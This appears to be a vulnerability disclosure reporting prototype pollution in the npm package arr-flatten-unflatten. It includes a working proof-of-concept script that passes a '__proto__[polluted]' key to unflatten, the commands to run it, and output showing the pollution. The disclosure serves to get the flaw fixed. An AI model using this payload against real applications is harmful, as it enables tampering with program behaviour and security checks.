Description

arr-flatten-unflatten is vulnerable to Prototype Pollution.

Proof of Concept

1. Create the following PoC file:

// poc.js
var arrFlattenUnflatten = require("arr-flatten-unflatten")
console.log("Before : " + {}.polluted);
arrFlattenUnflatten.unflatten({'__proto__[polluted]': 'Yes! Its Polluted'});
console.log("After : " + {}.polluted);

2. Execute the following commands in terminal:

npm i arr-flatten-unflatten # Install affected module
node poc.js #  Run the PoC

3. Check the Output:

Before : undefined
After : Yes! Its Polluted